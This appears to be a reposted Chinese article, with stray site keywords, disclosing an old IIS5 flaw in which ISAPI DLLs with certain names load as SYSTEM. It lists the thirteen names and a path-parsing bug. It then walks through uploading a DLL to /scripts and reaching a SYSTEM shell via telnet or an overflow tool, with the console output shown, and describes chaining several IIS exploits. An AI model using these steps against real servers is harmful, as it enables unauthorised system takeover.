搜狗
alimama
ali
阿里
阿里妈妈
sogou
第一卷 第一十三章

?除了公布3个拒绝服务漏洞外还公布了两个比较严重的漏洞。一个是IIS的SSINC.DLL溢出漏洞,另一个是IIS提升权限漏洞。其实我们的计划是SSINC.DLL的溢出公布后下一个就是这个权限提升漏洞。不过由于微软补丁的速度问题,没想到被别人先通告微软了。  

   

  下面是原来内部的一些资料:   

  IIS4默认情况下,应用程序保护选项是“低(共用IIS进程)”,所以加载isapi的时候是以加载IIS的身份执行。但WIN2K+IIS5.0默认情况下应用程序保护选项是“中(共用的)”,这时IIS加载isapi是用的iwam_computername用户身份执行。  

  但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5  、win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名,并且没有做目录限制,以SYSTEM权限加载的isapi有:  

    1、  idq.dll  

    2、  httpext.dll  

    3、  httpodbc.dll  

    4、  ssinc.dll  

    5、  msw3prt.dll  

    6、  author.dll  

    7、  admin.dll  

    8、  shtml.dll  

    9、  sspifilt.dll  

    10、compfilt.dll  

    11、pwsdata.dll  

    12、md5filt.dll  

    13、fpexedll.dll  

  所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug,比如请求/scripts/test%81%5cssinc.dll也将会认为是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题,就是"/"、"\"只识别了一个"/",所以如果请求里面使用"\",就会错误的处理包含文件路径,有可能泄露东西或者出现权限漏洞,这种漏洞很多别的地方(  php、asp等)也还存在。  

   但在补了http://www.microsoft.com/technet/security/bulletin/ms01-026.asp  补丁(%25二次解码补丁包,包含在sp3)后,加载这些isapi不是单以文件名做依据了,而是加了路径,应该是修正了此问题。  

   一般默认情况下是:  

    1、  idq.dll        d:\winnt\system32\idq.dll  

    2、  httpext.dll      d:\winnt\system32\inetsrv\httpext.dll  

    3、  httpodbc.dll    d:\winnt\system32\inetsrv\httpodbc.dll  

    4、  ssinc.dll       d:\winnt\system32\inrtsrv\ssinc.dll  

    5、  msw3prt.dll      d:\winnt\system32\msw3prt.dll  

    6、  author.dll     D:\Program  Files\Common  Files\Microsoft  Shared\web  server  extensions\40\isapi\_vti_aut\author.dll  

    7、  admin.dll       D:\Program  Files\Common  Files\Microsoft  Shared\web  server  extensions\40\isapi\_vti_adm\admin.dll  

    8、  shtml.dll       D:\Program  Files\Common  Files\Microsoft  Shared\web  server  extensions\40\isapi\shtml.dll  

    9、  sspifilt.dll    d:\winnt\system32\inetsrv\sspifilt.dll  

    10、compfilt.dll    d:\winnt\system32\inetsrv\compfilt.dll  

    11、pwsdata.dll      d:\winnt\system32\inetsrv\pwsdata.dll  

    12、md5filt.dll      d:\winnt\system32\inetsrv\md5filt.dll  

    13、fpexedll.dll    D:\Program  Files\Common  Files\Microsoft  Shared\web  server  extensions\40\bin\fpexedll.dll  

   

    正常情况下这些路径都guest不能写,所以应该算已经补上。但如果配置不好,这些路径guest能够写了就

一样可以提升权限了  

win2000的getadmin  

   把此dll上传到IIS的可执行目录,文件名可叫ssinc.dll或者admin.dll等(上面列的13个文件名之一)。然后使用telnet或者原来的asp.exe。  

   1、使用telnet。因为这不是专门的客户端,使用参数“?okok”让通信不加密,如果不带这参数将是乱码。  

D:\WINNT\temp>telnet  192.168.8.48  80  

get  /scripts/ssinc.dll?okok  

XORDATAMicrosoft  Windows  2000  [Version  5.00.2195]  

(C)  版权所有  1985-2000  Microsoft  Corp.  

D:\WINNT\system32>whoami  

whoami  

NT  AUTHORITY\SYSTEM  

D:\WINNT\system32>  

 2、使用asp.exe。同样支持iisput、iisget、iiscmd等命令。  

E:\work\asp\Debug>asp  192.168.8.48  /scripts/ssinc.dll  

IIS4.0  OVERFLOW  PROGRAM  2.0  .  

copy  by  yuange  2000.6.2.  

welcome  to  my  homepage  http://yuange.yeah.net  .  

welcome  to  http://www.nsfocus.com  .  

usage:  asp    [aspfile]  [webport]  [offset]  

nuke  ip:  192.168.8.48  port  80  

offset:0  

shellcode  long  0x143c  

packetlong:0x1003c  

send packet  65634  bytes.  

recv:  

TRACK  /  HTTP/1.1  

HOST:192.168.8.48  

ok!recv  8  bytes  

recv:XORDATAMicrosoft  Windows  2000  [Version  5.00.2195]  

(C)  版权所有  1985-2000  Microsoft  Corp.  

D:\WINNT\system32>whoami  

whoami  

NT  AUTHORITY\SYSTEM  

  对于IIS4默认情况下加载ISAPI的DLL都是SYSTEM权限,要得到SYSTEM权限那就根本不是问题。但IIS5默认不是,就需要利用这个提升权限漏洞。这个漏洞照现在公布的,需要有个可写目录供上传利用的dll,因为UNICODE漏洞所以不一定要在虚拟目录,不过默认情况下虚拟可执行目录/scripts可写。  

  其实结合别的漏洞,根本不需要可写目录,不需要上传DLL,可以利用IIS自身带的一些DLL,利用UNICODE、利用溢出,利用再一个漏洞、加上这个提升权限的漏洞,那就可以一步到位,直接得到system权限。  

  WINDOWS、IIS等漏洞太多,现在利用IIS漏洞都是玩组合了。像上面说的实际应用中就可以一下利用我们发现的unicode、fpse扩展溢出、截断、提升权限漏洞4个大漏洞。


[猫扑广告]